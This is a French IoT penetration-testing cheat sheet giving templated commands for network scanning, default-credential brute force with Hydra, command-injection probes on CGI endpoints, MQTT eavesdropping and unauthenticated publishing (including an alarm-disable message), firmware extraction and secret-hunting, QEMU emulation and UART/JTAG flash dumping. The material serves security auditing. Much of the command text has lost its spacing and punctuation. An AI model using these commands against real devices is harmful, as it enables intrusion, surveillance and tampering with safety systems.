IoT Pentest — Firmware, Default Creds, MQTT
Audit IoT : extraction firmware (binwalk), credentials par défaut, MQTT sniffing, UART/JTAG, interfaces web embarquées
Reconnaissance d'un device IoT
# Découverte réseau — IoT écoute souvent sur des ports non standardnmap -sV -p 2122238044318838080844388839000 {{IOT_IP}}# Ports IoT courants# 21 FTP (firmware update, accès fichiers)# 22 SSH (accès shell)# 23 Telnet (souvent sans auth)# 80/443 Interface web de gestion# 1883 MQTT (non chiffré)# 8883 MQTT over TLS# 5683 CoAP (Constrained Application Protocol)# 9999 Souvent utilisé par les routeurs pour l'administration# Shodan — trouver des devices exposés sur internet# shodan.io recherche : product:"{{DEVICE_MODEL}}" ou port:1883 mqtt
Credentials par défaut
# Bases de données de credentials par défaut# https://www.routerpasswords.com/# https://default-password.info/# SecLists : /usr/share/seclists/Passwords/Default-Credentials/# Hydra — brute force Telnet/SSH/HTTP avec credentials par défauthydra -L /usr/share/seclists/Passwords/Default-Credentials/default-usernames.txt-P /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txttelnet//{{IOT_IP}}hydra -L default_userstxt -P default_passwordstxt ssh//{{IOT_IP}}# Liste de credentials IoT courants# admin/admin, admin/password, admin/1234, root/root# user/user, admin/(vide), root/(vide), admin/admin1234# administrator/administrator, guest/guest# Test rapide SSHfor cred in "admin:admin" "root:root" "admin:password" "root:1234"; douserecho $cred | cut -d: -f1)passecho $cred | cut -d: -f2)sshpass -p "$pass" ssh -o StrictHostKeyCheckingno "$user@{{IOT_IP}}" "id" 2>/dev/null &&echo "[SUCCESS] $user:$pass"done
Interface Web embarquée
# Scanner les endpoints webgobuster dir -u http//{{IOT_IP}}-w /usr/share/seclists/Discovery/Web-Content/common.txt-x phphtmlhtmcgish# Endpoints courants sur les routeurs/cameras# /cgi-bin/login.cgi, /cgi-bin/admin.cgi# /setup.html, /admin/, /management/# Chercher les vulnérabilités d'injection de commandes dans les CGIcurl "http://{{IOT_IP}}/cgi-bin/test.cgi?ping={{TARGET}};id"curl "http://{{IOT_IP}}/cgi-bin/ping.cgi?host=127.0.0.1%3Bid"# Tester les vulnérabilités connues avec nucleinuclei -u http//{{IOT_IP}} -t cves -t technologies
MQTT — Message Queuing Telemetry Transport
# Installer le client MQTTapt install mosquitto-clients -y# Test de connexion anonyme (sans auth)mosquitto_sub -h {{IOT_IP}} -p 1883 -t "#" -v# "#" = wildcard tous les topics → écoute de TOUS les messages# Topics courants IoTmosquitto_sub -h {{IOT_IP}} -t "home/#" -v # domotiquemosquitto_sub -h {{IOT_IP}} -t "sensor/#" -v # capteursmosquitto_sub -h {{IOT_IP}} -t "device/+/status" -v # status devicesmosquitto_sub -h {{IOT_IP}} -t "$SYS/#" -v # infos broker (version, stats)# Publier sur un topic (si pas d'auth en écriture)mosquitto_pub -h {{IOT_IP}} -t "device/{{DEVICE_ID}}/control" -m "OFF"mosquitto_pub -h {{IOT_IP}} -t "alarm/disable" -m "1"# Avec authentificationmosquitto_sub -h {{IOT_IP}} -u {{MQTT_USER}} -P {{MQTT_PASS}} -t "#" -v# MQTT over TLS (port 8883) — ignorer le certificatmosquitto_sub -h {{IOT_IP}} -p 8883 --insecure -t "#" -v
# Script Python — MQTT sniffer + log vers fichierimport paho.mqtt.client as mqttdef on_connect(client, userdata, flags, rc):print(f"[+] Connecté (code: {rc})")client.subscribe("#") # tous les topicsdef on_message(client, userdata, msg):print(f"[{msg.topic}] {msg.payload.decode(errors='replace')}")client = mqtt.Client()client.on_connect = on_connectclient.on_message = on_messageclient.connect("{{IOT_IP}}", 1883, 60)client.loop_forever()
Extraction de Firmware
# Télécharger le firmware depuis le site du fabricant# Ou extraire depuis une interface d'update OTA si exposée# Installer binwalkapt install binwalk -ypip3 install binwalk# Analyser le firmwarebinwalk {{FIRMWARE}}bin# Extraire le contenubinwalk -e {{FIRMWARE}}bin -C /extracted/binwalk --dd='.*' {{FIRMWARE}}bin # extraire tout# Analyser le contenu extraitls extracted/_{{FIRMWARE}}binextracted# Trouver les credentials, clés, strings intéressantsgrep -rE "password|passwd|secret|key|token|admin" extracted 2>/dev/nullstrings extractedbin | grep -E "pass|key|admin|root"# Trouver les fichiers de configurationfind extracted -name "*.conf" -o -name "*.cfg" -o -name "*.json" 2>/dev/null | xargs grep -li "pass"
# Analyser le système de fichiers extrait# Trouver les binaires avec SUIDfind extracted -perm -4000 2>/dev/null# Chercher les clés SSH ou certificatsfind extracted -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null# Analyser les binaires avec ghidra / radare2 / stringsstrings extracted/usr/bin/{{BINARY}} | grep -E "pass|key|debug"# Firmware Analysis Toolkit (FAT) — automatise l'analysegit clone https//github.com/attify/firmware-analysis-toolkit/fat.py {{FIRMWARE}}bin
Émulation de firmware (QEMU)
# Identifier l'architecturebinwalk -A {{FIRMWARE}}bin # instructions CPU détectéesfile extracted/bin/busybox # architecture ELF# Architectures communes IoT : MIPS, ARM, PowerPC# Installer QEMU pour MIPSapt install qemu-user-static qemu-system-mips -y# Émuler un binaire MIPS directementcp /usr/bin/qemu-mipsel-static extractedchroot extracted /qemu-mipsel-static /bin/sh# Firmware Emulation avec FIRMADYNE ou QEMU full system# Permet de tester l'interface web embarquée localement
Interfaces physiques — UART / JTAG
# UART — console série (accès shell sans auth souvent)# Identifier les pins UART sur la carte (TX, RX, GND, VCC)# Baud rates courants : 9600, 38400, 57600, 115200# Connexion avec picocom (adaptateur USB-UART requis)picocom -b 115200 /dev/ttyUSB0# Connexion avec screenscreen /dev/ttyUSB0 115200# JTAG — débogage hardware (extraction de flash, bypass sécurité)# Outil : OpenOCD + adaptateur JTAG (Bus Pirate, JLink)openocd -f interface/jlink.cfg -f target{{TARGET_SOC}}cfg# telnet localhost 4444# > halt; dump_image firmware_dump.bin 0x{{FLASH_BASE}} {{FLASH_SIZE}}
Checklist d'audit IoT
La majorité des devices IoT sur le marché ont des credentials par défaut inchangeables ou codés en dur dans le firmware. En 2023, Shodan recense plus de 500 000 brokers MQTT accessibles publiquement sans authentification, dont beaucoup exposent des données de domotique, caméras industrielles, et systèmes de contrôle. La segmentation VLAN des devices IoT est la mesure défensive la plus impactante.
Binwalk identifie automatiquement les systèmes de fichiers (SquashFS, CramFS, JFFS2) et les architectures. Pour les firmwares chiffrés, chercher d'abord la clé dans les versions antérieures non chiffrées, dans les binaires d'update, ou via une session UART sur le device physique.